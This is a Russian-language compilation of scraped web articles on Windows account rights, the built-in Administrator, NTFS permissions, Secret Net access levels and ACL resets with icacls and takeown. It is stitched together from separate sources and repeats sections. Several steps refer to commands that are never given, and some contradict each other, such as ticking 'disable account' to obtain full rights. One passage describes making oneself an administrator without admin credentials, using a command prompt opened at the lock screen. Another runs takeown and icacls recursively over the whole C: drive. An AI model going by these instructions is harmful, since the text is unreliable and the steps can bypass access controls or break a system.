После установки ос windows какие права задаются пользователю по умолчанию

Установите отметку напротив пункта «Отключить учетную запись».

Такими способами можно легко включить или отключить учетную запись администратора, а также добавить или снять с пользователя привилегии.

Отблагодарите автора, поделитесь статьей в социальных сетях.

Как управлять учетными записями Windows 10?

С целью повышения безопасности работы за компьютером пользователям рекомендуется создать учётную запись с ограниченными правами. Таким образом вредоносное программное обеспечение и неопытные юзеры будут ограничены в возможностях изменять системные файлы. Управление учетными записями в Windows 10 позволяет изменять уровни доступа юзеров. Рассмотрим, как это осуществляется.

Метод №1

Первым рассмотрим классический метод, которого достаточно в большинстве случаев.

2. Переключите режим отображения её иконок в «Мелкие значки».

3. Перейдите в раздел, как показано на скриншоте ниже.

4. Откройте меню управления иной учётной записью.

5. Выберите профиль, для которого нужно изменить уровень доступа (сделать администратором или же ограничить права).

6. Перейдите в окно изменения типа профиля.

7. Перенесите переключатель в нужное положение, чтобы внести изменения в системный реестр.

Метод №2

Второй способ – через Параметры системы.

1. Зажмите кнопки Win + I и перейдите в раздел для настройки пользователей.

2. Посетите подраздел «Семья, другие пользователи».

4. Укажите уровень доступа в выпадающем списке и жмите «OK».

Метод №3

Командная строка позволяет выполнить абсолютно всё, что пользователю доступно через графический интерфейс.

1. Запустите инструмент от имени Администратора при помощи контекстного меню Пуска.

2. Для активации невидимого пользователя с расширенными привилегиями выполните команду « net user administrator /active:yes ». При появлении ошибки повторите её, написав слово «administrator» на русском языке.

Метод №4

Задействуем возможности редактора групповой политики (в Home редакции Windows 10 инструмент недоступен).

2. Перейдите в «Параметры безопасности» в подразделе локальных политик.

3. Откройте свойства параметра «Состояние учётной записи…».

4. Перенесите переключатель в положение «Включён» и закройте окно с сохранением изменений.

Как и в предыдущем способе, появится новый аккаунт с расширенными привилегиями.

Метод №5

Воспользуемся инструментом «Локальные пользователи и группы».

1. В окне «Выполнить» осуществите команду « lusrmgr.msc ».

2. Перейдите в каталог «Пользователи».

3. Выберите «Администратор» и откройте его свойства.

4. Отметьте флажком «Отключить…» и кликните «OK».

Метод №6

Последний вариант решения проблемы – утилита netplwiz.

1. Жмите Win + R и выполните в окне команду «netplwiz.exe».

2. Выберите аккаунт и откройте его свойства.

3. Во вкладке «Членство в группах» укажите уровень доступа для аккаунта.

Вот так просто в Windows 10 управлять уровнем доступа юзеров без посторонних утилит.

Как шестью способами получить права администратора в Windows 10

Выпущенная недавно новая операционная система Windows 10 обладает повышенной защитой, которая обеспечивает безопасность ОС и устраняет множество угроз. Чтобы максимально защитить систему, разработчики отключили расширенные права, благодаря которым стороннее программное обеспечение имеет больше доступа к ресурсам системы. Например, самостоятельно скомпилированная программа для чтения какой-нибудь базы данных, не подписанная никаким сертификатом, будет запускаться с ограниченными правами доступа. Чтобы включить полный доступ в учетной записи администратора системы мы опишем различные способы, при которых админ получает расширенные права для управления системой.

Первый способ получения расширенного доступа админа

Первый способ получения прав администратора довольно прост. Первым делом вам необходимо зайти Windows 10 с учетной записью, которая обладает правами администратора.

Попробуем запустить программу WordPad, встроенную в операционную систему с расширенными правами. Для этого с помощью клавиатурной комбинации Win + Q перейдем к поиску Windows 10 и наберем в нем фразу «WordPad».

Теперь кликнем на полученном результате правой кнопкой мыши. В открывшемся контекстном меню найдем пункт «Запустить от имени администратора». Выполнив этот пункт, мы запустим программу WordPad в расширенном режиме админа.

Похожим образом приложение можно запустить через меню «Пуск» во вкладке «Все приложения» и выполнить запуск через контекстное меню, как это показано на изображении ниже.

Если вы хотите запустить программу с расширенными полномочиями, которая находится на Рабочем столе, то смело переходите в контекстное меню ярлыка и выбирайте пункт, отвечающий за запуск от имени админа.

Также если перейти в Свойства ярлыка и нажать кнопку «Дополнительно», вы сможете выставить автоматический запуск утилит с правами админа. Например, на изображении ниже показан пример настройки текстового редактора для программистов Notepad++.

Еще одним способом запуска утилиты WordPad с повышенными привилегиями является его запуск в командной строке с правами админа. Для этого запустим консоль таким образом — нажмем на значке «Пуск» правой кнопкой мыши и выберем пункт, который отвечает за запуск с правами админа. Теперь выполним в консоли команду write После этого наш текстовый редактор запустится с повышенными правами.

Второй способ получения расширенного режима админа

Для второго способа нам также понадобится командная строка, которая запущена с правами администратора. Также заходим в учетную запись, которая обладает правами админа. Потом переходим к поиску Windows 10 и набираем в нем фразу «CMD», которая отвечает за поиск консоли.

Кликнем кнопкой по найденному результату и выберем пункт, который запустит нашу консоль с расширенными правами. В запущенной консоли выполните команду, изображенную ниже.

Выполнив эту команду, вы наделите свою учетную запись расширенными правами и сможете запускать утилиты без каких-либо ограничений. Выполнить обратную операцию в консоли и вернуть все изменения можно, изменив слово «Yes» на «No».

Третий способ получения расширенного доступа админа

В этом способе также запустим консоль с правами админа и выполним в ней команду, изображенную ниже.

После выполнения этой команды запустится надстройка системы «Локальная политика безопасности». Еще эту надстройку можно включить в Панели управления, если вам не нравится использовать консоль.

В открытой надстройке переходим по таким ссылкам: «Локальные политики / Параметры безопасности / Учётные записи: Состояние учетной записи ‘Администратор’» и ставим в открывшемся параметре переключатель в положение «Включить».

Выполнив эти действия, вы сможете стать пользователем с полными правами доступа в системе.

Четвертый способ получения расширенного доступа админа

Запустим таким же способом, как в первом примере консоль и выполним в ней команду lusrmgr.msc

Эта команда запустит надстройку, которая позволяет управлять пользователями операционной системы Windows 10. Надстройку также можно найти и включить в Панели управления.

В открытой надстройке найдите раздел «Пользователи» и найдите в нем пользователя «Администратор». Открыв этого пользователя, отметьте пункт «Отключить учетную запись» как показано на изображении ниже.

Теперь перезагрузите ПК и войдите в систему под пользователем, для которого мы выполняли эти действия.

Проделав эти операции, вы сможете стать пользователем с полными правами доступа в системе как в предыдущем примере.

Пятый способ, позволяющий стать админом с расширенными правами

Запустим в пятый раз командную строку с правами админа и выполним в ней такую команду control userpasswords2

Также эту команду можно выполнить в программе, которая запускается комбинацией клавиш Win + R .

Эта команда позволит нам запустить окно, в котором можно управлять параметрами пользователей. Окно откроется на первой вкладке «Пользователи». Для выполнения поставленной задачи, нам необходимо перейти на вкладку «Дополнительно».

На этой вкладке нажмем кнопку Дополнительно , которая перебросит нас в знакомую нам надстройку из предыдущего примера. Поэтому выполняем все действия как в предыдущем примере.

Шестой способ получения расширенного доступа админа

В шестом способе мы опишем запуск программ с расширенными привилегиями из-под обычного пользователя. Поэтому мы перейдем в учетную запись пользователя, который обладает обычными правами. Дальнейшим нашим шагом будет запуск программы Notepad++ через контекстное меню ярлыка на Рабочем столе. Такой способ запуска описан в первом примере. Если мы запустим Notepad++ этим методом, то ОС запросит у нас пароль одного из администраторов системы.

Поэтому введем необходимый пароль и запустим Notepad++ с расширенными привилегиями.

Как видно из примера, мы запустили текстовый редактор Notepad++ из-под обычной учетки. Единственное, что стоит учитывать в этом примере, без пароля админа вы не сможете воспользоваться этим методом.

Подводим итог

Из примеров видно, что запустить приложение с повышенными привилегиями и сделать себя админом с расширенными возможностями совсем нетрудно. Но перед тем как давать своей учетке расширенные привилегии, стоит учитывать фактор безопасности.

Посудите сами, ведь неспроста разработчики Windows 10 ограничили возможности учетной записи администратора. Главным фактором такого ограничения является исполнение вредоносного кода в десятке, который может повредить системные файлы операционной системы. Поэтому будьте предельно осторожны, когда пытаетесь стать админом с повышенными правами.

А мы в свою очередь надеемся, что наш материал поможет дать нашим читателям ответ на мучащий их вопрос — как получить права администратора в Windows 10 и позволит решить множество задач.

Видео по теме

Как сделать пользователя администратором в Windows 10

По умолчанию, учетная запись первого созданного пользователя в Windows 10 (например, при установке) имеет права администратора, однако последующие создаваемые учетные записи — права обычного пользователя.

В этой инструкции для начинающих пошагово о том, как дать права администратора создаваемым пользователям несколькими способами, а также о том, как стать администратором Windows 10, если у вас нет доступа к администраторской учетной записи, плюс видео, где весь процесс показан наглядно. См. также: Как создать пользователя Windows 10, Встроенная учетная запись Администратор в Windows 10.

Как включить права администратора для пользователя в параметрах Windows 10

В Windows 10 появился новый интерфейс для управления учетными записями пользователей — в соответствующем разделе «Параметров».

Чтобы сделать пользователя администратором в параметрах достаточно выполнить следующие простые шаги (эти действия должны выполняться из учетной записи, которая уже имеет права администратора)

1. Зайдите в Параметры (клавиши Win+I) — Учетные записи — Семья и другие люди.
2. В разделе «Другие люди» нажмите по учетной записи пользователя, которого требуется сделать администратором и нажмите кнопку «Изменить тип учетной записи».
3. В следующем окне в поле «Тип учетной записи» выберите «Администратор» и нажмите «Ок».

Готово, теперь пользователь при следующем входе в систему будет иметь необходимые права.

С использованием панели управления

Чтобы изменить права учетной записи с простого пользователя на администратора в панели управления выполните следующие шаги:

1. Откройте панель управления (для этого можно использовать поиск в панели задач).
2. Откройте пункт «Учетные записи пользователей».
3. Нажмите «Управление другой учетной записью».
4. Выберите пользователя, права которого нужно изменить и нажмите «Изменение типа учетной записи».
5. Выберите «Администратор» и нажмите кнопку «Изменение типа учетной записи».

Готово, теперь пользователь является администратором Windows 10.

С помощью утилиты «Локальные пользователи и группы»

Ещё один способ сделать пользователя администратором — использовать встроенное средство «Локальные пользователи и группы»:

1. Нажмите клавиши Win+R на клавиатуре, введите lusrmgr.msc и нажмите Enter.
2. В открывшемся окне откройте папку «Пользователи», затем дважды кликните по пользователю, которого требуется сделать администратором.
3. На вкладке «Членство в группах» нажмите «Добавить».
4. Введите «Администраторы» (без кавычек) и нажмите «Ок».
5. В списке групп выберите «Пользователи» и нажмите «Удалить».
6. Нажмите «Ок».

При следующем входе в систему пользователь, который был добавлен в группу «Администраторы», будет иметь соответствующие права в Windows 10.

Как сделать пользователя администратором с помощью командной строки

Существует и способ дать права администратора пользователю используя командную строку. Порядок действий будет следующим.

1. Запустите командную строку от имени Администратора (см. Как запустить командную строку в Windows 10).
2. Введите команду net users и нажмите Enter. В результате вы увидите список учетных записей пользователей и системные учетные записи. Запомните точное имя учетной записи, права которой нужно изменить.
3. Введите команду net localgroup Администраторы имя_пользователя /add и нажмите Enter.
4. Введите команду net localgroup Пользователи имя_пользователя /delete и нажмите Enter.
5. Пользователь будет добавлен в список администраторов системы и удален из списка обычных пользователей.

Примечания по команде: на некоторых системах, созданных на базе англоязычных версий Windows 10 следует использовать «Administrators» вместо «Администраторы» и «Users» вместо «Пользователи». Также, если имя пользователя состоит из нескольких слов, возьмите его в кавычки.

Как сделать своего пользователя администратором, не имея доступа к учетным записям с правами администратора

Ну и последний возможный сценарий: вы хотите дать себе права администратора, при этом отсутствует доступ к уже имеющейся учетной записи с этими правами, из-под которой можно было бы выполнить описанные выше действия.

Даже в этой ситуации существуют некоторые возможности. Один из самых простых подходов будет таким:

1. Используйте первые шаги в инструкции Как сбросить пароль Windows 10 до того момента, как будет запущена командная строка на экране блокировки (она как раз открывается с нужными правами), сбрасывать какой-либо пароль не потребуется.
2. Используйте в этой командной строке способ «с помощью командной строки», описанный выше, чтобы сделать себя администратором.

Видео инструкция

На этом завершаю инструкцию, уверен, что у вас всё получится. Если же остаются вопросы — задавайте в комментариях, а я постараюсь ответить.

Статья о разграничении прав доступа в операционных системах Windows: дискретном и мандатном. В статье рассматриваются разграничения прав доступа к папкам и файлам на уровне операционной системы Windows и с помощью Secret Net.

Дискретное разграничение прав доступа

Для того, что бы настроить правила безопасности для папок нужно воспользоваться вкладкой «Безопасность». В Windows XP эта вкладка отключена по умолчанию. Для ее активации нужно зайти в свойства папки (Меню «Сервис» -> «Свойства папки» ->  «Вид») и снять флажок «Использовать простой общий доступ к файлам».

Основные права доступа к папкам

В файловой системе NTFS в Windows XP существует шесть стандартных разрешений:

1. Полный доступ;
2. Изменить;
3. Чтение и выполнение;
4. Список содержимого папки;
5. Чтение;
6. Запись.

В Windows 10 нет стандартного разрешения «Список содержимого папки».

Эти разрешения могут предоставляться пользователю (или группе пользователей) для доступа к папкам и файлам. При этом право «Полный доступ» включат в себя все перечисленные права, и позволяет ими управлять.

Права доступа назначаются пользователю для каждого объекта (папки и файла). Для назначения прав нужно открыть меню «Свойства» и выбрать вкладку «Безопасность». После этого выбрать необходимо пользователя, которому будут назначаться разрешения.

Создайте папки по названиям разрешений, всего у вас будет 6 папок для Windows XP и для Windows 10. Я рассмотрю на примере Windows XP, на «десятке» вам будет проще. Скачайте папки по ссылке и скопируйте в них содержимое (не сами папки, а то, что в них находится).

Отройте вкладку «Безопасность» в свойствах папки «Список содержимого папки». У меня есть пользователь user, вы можете добавить своего. Для того, что бы изменить право на объект нужно выбрать пользователя и указать ему разрешение, в данном случае «Список содержимого папки». Затем нажмите «Применить» и «ОК».

По аналогии установите права для соответствующих папок.

После установки прав доступа проверьте их. Для этого войдите в операционную систему под пользователем, для которого устанавливали права, в моем случае это user.

«Список содержимого папки» — предоставляет возможность просмотра файлов и папок в текущем каталоге. То есть вы можете посмотреть, что есть в папке, но запустить и открыть ничего не получиться.

«Чтение» — предоставляет возможность открывать в папке все файлы, кроме исполняемых файлов (например, с расширением .exe).

«Чтение и выполнение» — предоставляет возможность открывать в данном каталоге все файлы.

«Запись» — предоставляет возможность добавления файлов в папку без права на доступ к вложенным в него объектам, в том числе на просмотр содержимого каталога.

«Изменить» — предоставляет возможность открывать и создавать (изменять) файлы в папке.

«Полный доступ» — предоставляет все возможности для работы с папкой и вложенными файлами, включая изменение разрешений.

Откройте каждую папку и проверьте, что разрешения выполняются.

Элементы разрешений на доступ

Каждое разрешение состоит из нескольких элементов, которые позволяют более гибко настраивать систему безопасности. Войдите в операционную систему под учетной записью администратора.

Просмотреть элементы разрешений на доступ можно, нажав на кнопку «Дополнительно» во вкладке «Безопасность» и выбрав любой элемент разрешений.

Поэкспериментируйте с элементами и проверьте, как они работаю.

Владелец файла

В файловой системе NTFS у каждого файла есть свой владелец. Владельцем файла является пользователь операционной системы. Он может управлять разрешениями на доступ к объекту независимо от установленных разрешений.

Узнать, какой пользователь является владельцем файла или папки можно на закладке «Владелец» в дополнительных параметрах безопасности.

Наследование прав доступа

В файловой системе NTFS поддерживается наследование разрешений. Если вы устанавливаете разрешение на папку, то оно наследуется для всех вложенных файлов и папок.

При любых изменениях разрешений на родительскую папку они меняются в дочерних (вложенных) файлах и каталогах.

Для изменения унаследованных разрешений нужно открыть вкладку «Разрешения» в дополнительных параметрах безопасности. Там же можно отключить наследование разрешений.

Запреты

Кроме установки разрешений в файловых системах можно устанавливать запреты. Например, вы можете разрешить чтение и выполнение, но запретить запись. Таким образом, пользователь для которого установлен запрет и разрешения сможет запустить исполняемый файл или прочитать текстовый, но не сможет отредактировать и сохранить текстовый файл.

В дополнительных параметрах безопасности можно посмотреть действующие разрешения и для конкретного пользователя.

Разграничение прав доступа с помощью Secret Net (на примере версии 5.1)

При использовании Secret Net доступ к файлам осуществляется, в случае если пользователю присваивается соответствующий уровень допуска. В примере я использую Windows XP с установленным программным продуктом Secret Net 5.1.

Первым делом нужно запустить локальные параметры безопасности от имени Администратора: «Пуск –> Программы –> Secret Net 5 –> Локальная политика безопасности».

Далее необходимо перейти в «Параметры Secret Net» –>  «Настройка подсистем» –> «Полномочное управление доступом: название уровней конфиденциальности».

Введите названия уровней. У меня это:

• Низший – Общедоступно.
• Средний – Конфиденциально.
• Высший – Секретно.

Настройка субъектов

Настройка субъектов в Secret Net производится в группе «Локальные пользователи и группы». Зайдите в меню «Пуск» –>  «Программы» –>  «Secret Net 5» –> «Управление компьютером» –>  «Локальные пользователи и группы» –> «Пользователи».

Что бы настроить права администратора нужно выбрать учетную запись «Администратор» и перейти на вкладку Secret Net 5. Установим уровень доступа «секретно».

Далее установите все флажки.

• Управление категориями конфиденциальности означает, что пользователь имеет право изменять категории конфиденциальности папок и файлов, а так же может управлять режимом наследования категорий конфиденциальности папок.
• Печать конфиденциальных документов означает, что пользователь может распечатывать конфиденциальные документы. Данная возможность появляется, если включен контроль печати конфиденциальных документов.
• Вывод конфиденциальной информации означает, что пользователь может копировать конфиденциальную информацию на внешние носители.

После установки всех флажков нажмите «Применить» и «ОК».

Создадим нового пользователя. Для этого нужно перейти «Локальные пользователи и Группы» –> «Пользователи». Создайте новых пользователей, я назову их «Конфиденциальный» и «Секретный». По аналогии с пользователем Администратор  установите для новых пользователей аналогичные уровни доступа и настройки как на рисунках ниже.

Настройка объектов

Та или иная категория конфиденциальности является атрибутом папки или файла. Изменения этих атрибутов производятся уполномоченными пользователями (в данном случае Администратором). Категория конфиденциальности может присваиваться новым файлам или папкам автоматически или по запросу.

Автоматическое присваивание категории конфиденциальности можно включить или отключить в окне настройки свойств папки. Этот параметр может редактировать только пользователь, у которого есть права на «Редактирование категорий конфиденциальности».

При этом стоит учесть, что категории конфиденциальности могут назначаться только папка и файлам в файловой системе NTFS. В случае если у пользователя нет такой привилегии, он может только повысить категорию конфиденциальности и только не выше своего уровня.

Попробуйте создать в паке новый файл или каталог, а после чего изменить ее уровень (повысить) и установить флажок «Автоматически присваивать новым файлам». У вас появиться окно «Изменение категорий конфиденциальности».

Выберите пункт «Присвоение категорий конфиденциальности всем файлам в каталоге» и нажмите «ОК» для присвоения категории конфиденциальности всем файлам кроме скрытых и системных файлов.

В случае если категория допуска пользователя выше чем категория конфиденциальности объект, то пользователь имеет право на чтение документа, но не имеет права изменять и сохранять документ.

Если пользователь с категорией «Общедоступно» попробует прочитать или удалить документ, то он получит соответствующие ошибки.

То есть пользователь не может работать с документами, у которых уровень конфиденциальности выше, чем у него.

Если вы зайдете под пользователем «Секретный» то вы сможете повысить уровень конфиденциальности файлов и работать с ними.

Не стоит забывать, что конфиденциальные файлы нельзя копировать в общедоступные папки, чтобы не допустить их утечки.

Контроль потоков данных

Контроль потоков данных используется для того, что бы запретить пользователям возможность понижения уровня конфиденциальности файлов.

Для этого нужно запустить «Локальные параметры безопасности»: «Пуск» – «Программы» –> «Secret Net 5» –>  «Локальная политика безопасности», затем перейти в группу «Параметры Secret Net» –>  «Настройки подсистем» и выбрать параметр  «Полномочное управление доступом: Режим работы» и включить контроль потоков. Изменения вступят в силу после перезагрузки компьютера.

Если зайти (после перезагрузки) под пользователем «Секретный» появиться выбор уровня конфиденциальности для текущего сеанса. Выберите секретный уровень.

Если вы откроете файл с уровнем «Конфиденциально», отредактируете его и попробуете сохранить под другим именем и в другую папку, то вы получите ошибку, так как уровень сеанса (секретный) выше, чем уровень файла (конфиденциальный) и включен контроль потоков данных.

На этом все, если у вас остались вопросы задавайте их в комментариях.

Мы можем создать на компьютере несколько учетных записей, индивидуально для каждого пользователя этого компьютера.

При этом каждый пользователь получает свое личное пространство на компьютере и возможность настраивать внешний вид операционной системы по своему вкусу.

Но кроме этого учетная запись пользователя определяет, к каким файлам и папкам пользователь имеет доступ, а также какие изменения в работу компьютера пользователь может вносить.

Это и есть права пользователей Windows.

В этой заметке я хочу рассказать о том, какие права пользователей Windows существуют и какими правами следует наделить свою учетную запись.

В Windows существуют три типа учетных записей, которые дают пользователям разные права по управлению компьютером:

1. Обычный доступ – пользователь может запускать и работать в большинстве программ. Также пользователь имеет право изменять настройки операционной системы, которые не влияют на настройки других пользователей или безопасность компьютера. Это значит, что пользователям этой группы будут недоступны некоторые инструменты Панели управления. Также они не смогут работать в программах, которые могут влиять на работоспособность операционной системы Windows.

   Это идеальный тип учетной записи для начинающих пользователей, так как под этой учетной записью сложно что-либо испортить в Windows или в программах. Но тут есть и существенные ограничения. Например, не все программы вы сможете установить, находясь в учетной записи этого типа.

   Сказать по правде, я считаю, что все начинающие пользователи должны работать именно под этой учетной записью. Дело в том, что работая под учетной записью администратора вы ставите под угрозу свой компьютер и информацию на нем хранящуюся. Если вирус или вредоносная программа каким-либо образом проберется на ваш компьютер, то ему будет на порядок легче совершить свое гнусное дело под учетной записью администратора, нежели под учетной записью, имеющей обычный доступ.

2. Администратор – пользователь, имеющий данный тип учетной записи, получает полный контроль над компьютером. Он может производить любые настройки, причем даже те, которые касаются других пользователей компьютера.
3. Гость – встроенная учетная запись, которую применяют для временного доступа к компьютеру. Это самая ограниченная в правах учетная запись. Она по умолчанию отключена в операционной системе и ее используют крайне редко.

По выше изложенной причине я рекомендую всем пользователям работать под ограниченной учетной записью. Устанавливать программы или производить какие-то другие действия связанные с настройкой или обслуживанием компьютера следует под отдельной, защищенной хорошим паролем записью администратора.

Константин Лимонов

Компьютерщик, лингвист, гитарист и поэт из Челябинска. Надёжный, умный и красивый.

Страницы

Сброс прав на файлы Windows 10

Сброс прав доступа и владельца файлов в Windows

При установке ОС Windows 7/8/10, до этого работавшего с другой операционной системой Windows, можно столкнуться с проблемой ограничения доступа ко множеству файлов на этом диске.

Обычно для решения этой проблемы предлагается смена владельца файлов (через графическое меню), после чего необходимо внести изменения прав доступа к отдельным папкам (через другое графическое меню). В принципе, метод работает, но иногда случаются ошибки в типа «Отказано в доступе».

Для таких случаев есть способ с использованием встроенной в систему утилиты icacls. Она позволяет рекурсивно сбросить права доступа на стандартные для указанного каталога и всего его содержимого. Для этого необходимо запустить командную строку cmd.exe с правами администратора и воспользоваться следующей командой:

icacls.exe «D:Недоступная_папка» /reset /T

Вместо D:Недоступная_папка следует указать путь к каталогу, где необходимо сбросить неверные старые разрешения.
Иногда перед запуском icacls может потребоваться утилита takeown, которая предназначена для смены владельца файлов:

takeown.exe /f «C:» /r /d y

icacls.exe «C:» /reset /T

После завершения работы утилиты все содержимое указанного каталога будет иметь стандартные права доступа вашей системы, он станет доступен для всех пользователей.

Источник

Как восстановить права доступа к файлам и папкам по умолчанию в Windows 10

Если вам по какой-то причине пришлось изменить разрешения для файлов и папок в Windows, и если вы хотите сбросить разрешения до значений по умолчанию, этот пост поможет вам. Один из пользователей сообщил, что ему пришлось установить право собственности и разрешения для всех, а также полный контроль над конкретной задачей, и теперь, когда это сделано, вернуться к разрешению по умолчанию сложно. Поскольку опция не встроена в систему, нам придется использовать secedit и icacls команды для перенастройки.

Как восстановить права доступа к файлам и папкам по умолчанию

Безопасность важна, и это не только то, что другие пользователи могут получить доступ к файлам, но и программы, которые вы устанавливаете на компьютер, также получают такой же доступ. Хорошая новость заключается в том, что установить разрешения по умолчанию легко, и все, что вам нужно, — это запустить программу из командной строки, чтобы исправить это. Прежде чем продолжить, создайте точку восстановления системы, чтобы вы могли восстановить ее, если что-то пойдет не так.

Для выполнения команд вам потребуется разрешение администратора.

1]Запустить команду icacls

Другой способ решить эту проблему — использовать команду icacls. Однако вам нужно сначала стать владельцем папки, а затем выполнить команду. Windows использует список управления доступом для настройки разрешений для всех файлов и папок. Icacls — это утилита командной строки который может отображать и изменять разрешения для указанных файлов и применять их.

Он поставляется с опцией сброса, которая заменяет ACL унаследованными ACL по умолчанию для всех совпадающих файлов. Мы будем использовать следующие параметры для сброса

Затем выполните в командной строке с повышенными привилегиями следующее:

После этого вы должны сохранить разрешение в файл, который можно будет использовать позже или применить к другим компьютерам.

2]Запустить команду Secedit

Он позволяет настраивать и анализировать безопасность системы, сравнивая текущую конфигурацию с шаблоном.

Настраивает и анализирует безопасность системы, сравнивая текущую конфигурацию безопасности с указанными шаблонами безопасности.

Введите CMD в строке «Выполнить» (Win + R), а затем нажмите Shift + Enter, чтобы открыть его с правами администратора.

Выполните следующую команду:

Вы можете получить предупреждение, но можете проигнорировать его.

Изменить разрешение в Windows сложно, потому что нет возможности вернуться к разрешению по умолчанию после его изменения. Это должно было быть с самого начала и позволить пользователям Windows исправить это самостоятельно.

Я надеюсь, что эти команды были полезны и помогли вам сбросить права доступа к файлам и папкам по умолчанию в Windows.

Источник

Сброс прав на файлы Windows 10

19:31 29.10.2018
Сброс прав на файлы Windows 10
Сброс прав доступа и владельца файлов в Windows

При установке ОС Windows 7/8/10, до этого работавшего с другой операционной системой Windows, можно столкнуться с проблемой ограничения доступа ко множеству файлов на этом диске.

Обычно для решения этой проблемы предлагается смена владельца файлов (через графическое меню), после чего необходимо внести изменения прав доступа к отдельным папкам (через другое графическое меню). В принципе, метод работает, но иногда случаются ошибки в типа «Отказано в доступе».

Для таких случаев есть способ с использованием встроенной в систему утилиты icacls. Она позволяет рекурсивно сбросить права доступа на стандартные для указанного каталога и всего его содержимого. Для этого необходимо запустить командную строку cmd.exe с правами администратора и воспользоваться следующей командой:

icacls.exe «D:Недоступная_папка» /reset /T

Вместо D:Недоступная_папка следует указать путь к каталогу, где необходимо сбросить неверные старые разрешения.
Иногда перед запуском icacls может потребоваться утилита takeown, которая предназначена для смены владельца файлов:

takeown.exe /f «C:» /r /d y

icacls.exe «C:» /reset /T

После завершения работы утилиты все содержимое указанного каталога будет иметь стандартные права доступа вашей системы, он станет доступен для всех пользователей.

Источник

IT миниблог

О том что нужно не потерять

Сброс прав доступа и владельца файлов в Windows 10

Столкнулся с проблемой: после копирования информации с диска на диск потерял права на доступ к файлам и папкам на диске.

Так же такие проблемы могут появиться при некорректном изменении прав на папки или файлы самим пользователем.

Появляется ошибка при открытии диска “Отказано в доступе”, иногда пропадает возможность удалять или редактировать файлы.

Для решения этой проблемы мы выполним сброс прав доступа и владельца файлов на диск или отдельную папку если нужно с помощью утилиты icacls.exe

icacls.exe показывает или изменяет явные и унаследованные разрешения на файл или папку.

Запускаем командную строку от администратора и выполняем следующую команду:

Icacls.exe «D:*» /reset /T

В этом примере мы сбрасываем права доступа на права доступа по умолчанию для всех файлов и папок на диске D:

Для сброса владельцев используем утилиту takeown.exe

takeown.exe /f «D:*» /r /d y

Сброс прав доступа и владельца файлов в Windows 10 : 3 комментария

Reset NTFS file permission — небольшая утилита, которая поможет восстановить или сбросить права доступа к файлам одним щелчком мыши. После запуска выберите папку, в которой вы хотите сбросить действующие разрешения, и после нажмите кнопку GO для выполнения команд.

Источник

Как восстановить права доступа к файлам NTFS в Windows 10

Как восстановить права доступа к файлам NTFS в Windows 10

При установке в компьютер с ОС Windows винчестера, ранее работавшего с другой операционной системой Windows, можно столкнуться с проблемой ограничения доступа к файлам на этом диске.

Классически, для решения этой проблемы предлагается смена владельца файлов, после чего необходимо внести изменения прав доступа к отдельным папкам. В принципе, этот метод работает, но он неудобен и иногда не все права удается заменить сразу. Легче воспользоваться специальной программой.

Reset NTFS file permission — небольшая утилита, которая поможет восстановить или сбросить права доступа к файлам одним щелчком мыши. После запуска выберите папку, в которой вы хотите сбросить действующие разрешения, и после нажмите кнопку GO для выполнения команд.

Настройки Reset NTFS file permission:

Reset NTFS file permission

Спасибо, что читаете! Подписывайтесь на мои каналы в Telegram, Яндекс.Мессенджере и Яндекс.Дзен. Только там последние обновления блога и новости мира информационных технологий.

Респект за пост! Спасибо за работу!

Хотите больше постов? Узнавать новости технологий? Читать обзоры на гаджеты? Для всего этого, а также для продвижения сайта, покупки нового дизайна и оплаты хостинга, мне необходима помощь от вас, преданные и благодарные читатели. Подробнее о донатах читайте на специальной странице.

Заранее спасибо! Все собранные средства будут пущены на развитие сайта. Поддержка проекта является подарком владельцу сайта.

партнёры блога

telegram

Реклама

Последние

Рубрики

СЧЕТЧИКИ

РЕКЛАМА И ДОНАТЫ

Социальные сети

©2016-2022 Блог Евгения Левашова. Самое интересное и полезное из мира ИТ. Windows 10, Linux, Android и iOS. Обзоры программ и веб-сервисов. Статьи о мотивации и продуктивности.

Использование материалов разрешается с активной ссылкой на levashove.ru.

Данный блог является личным дневником, содержащим частные мнения автора. В соответствии со статьей 29 Конституции РФ, каждый человек может иметь собственную точку зрения относительно его текстового, графического, аудио и видео наполнения, равно как и высказывать ее в любом формате. Блог не имеет лицензии Министерства культуры и массовых коммуникаций РФ и не является СМИ, а, следовательно, автор не гарантирует предоставления достоверной, не предвзятой и осмысленной информации. Сведения, содержащиеся в этом блоге не имеют никакого юридического смысла и не могут быть использованы в процессе судебного разбирательства. Автор блога не несёт ответственности за содержание комментариев к его записям.

Источник

В этой статье рассмотрим права и привилегии пользователей в системе. Вы узнаете где они устанавливаются и чем права отличаются от привилегий.

Назначение прав и привилегий

Привилегии – это возможность выполнять связанные с системой операции, например выключение компьютера или изменение системного времени.

Право – разрешает или запрещает выполнять конкретный тип входа в систему, например локальный или вход по сети.

Для того чтобы управлять привилегиями и правами, нужно использовать ММС-оснастку “Локальная политика безопасности” (secpol.msc). В этой оснастке можно настроить и права и привилегии для пользователей или групп. Вы можете различить права от привилегий тем, что права связаны со входом в систему, а привилегии не связаны.

Права учетной записи

Права хоть и находятся в одной и той же оснастке с привилегиями, но технически отличаются т привилегий. Они не связаны с монитором безопасности SRM и не хранятся в маркерах доступа в отличие от привилегий.

Возможные права:

• право локального входа в систему (logon locally);
• возможность входить в систему по сети (logon over the network);
• право входить в систему через службу терминалов (logon through Terminal Services);
• возможность входить в систему в качестве службы (logon as a service);
• возможность входить в систему в качестве пакетного задания (logon as a batch job).

Привилегии

Привилегии пользователя находятся в маркере доступа. А вот не полный список привилегий:

• Резервное копирование файлов и каталогов. Заставляет NTFS предоставлять некоторый доступ к файлам, даже если дескриптор безопасности не дает таких разрешений.
• Восстановление файлов и каталогов. Заставляет NTFS предоставлять некоторый доступ к файлам, даже если дескриптор безопасности не дает таких разрешений.
• Повышение приоритета планирования. Требуется для повышения приоритета процесса.
• Загрузка и выгрузка драйверов устройств.
• Добавление рабочих станций в домен.
• Выполнение операций сопровождения с томом. Например, выполнение дефрагментации или проверка диска.
• Изменение маркера объекта. Например, разрешает запуск программ от имени администратора.
• Управление аудитом и журналом безопасности. Необходимо для обращения к списку SACL.
• Выключение системы.
• Изменение системного времени.
• Получение прав владения. Для файлов и других объектов.

Включение привилегий по требованию

Привилегии включаются по требованию, чтобы понять это, проведем эксперимент.

Запустите Process Explorer с повышенными привилегиями. А затем щелкните правой кнопкой мыши на часах в области уведомлений и выберите команду “Настройка даты и времени“. После чего найдите и откройте свойства процесса “SystemSettings.exe” в “Process Explorer“.

Далее, перейдите на вкладку “Security” и там вы увидите, что привилегия “SeTimeZonePrivilege” отключена:

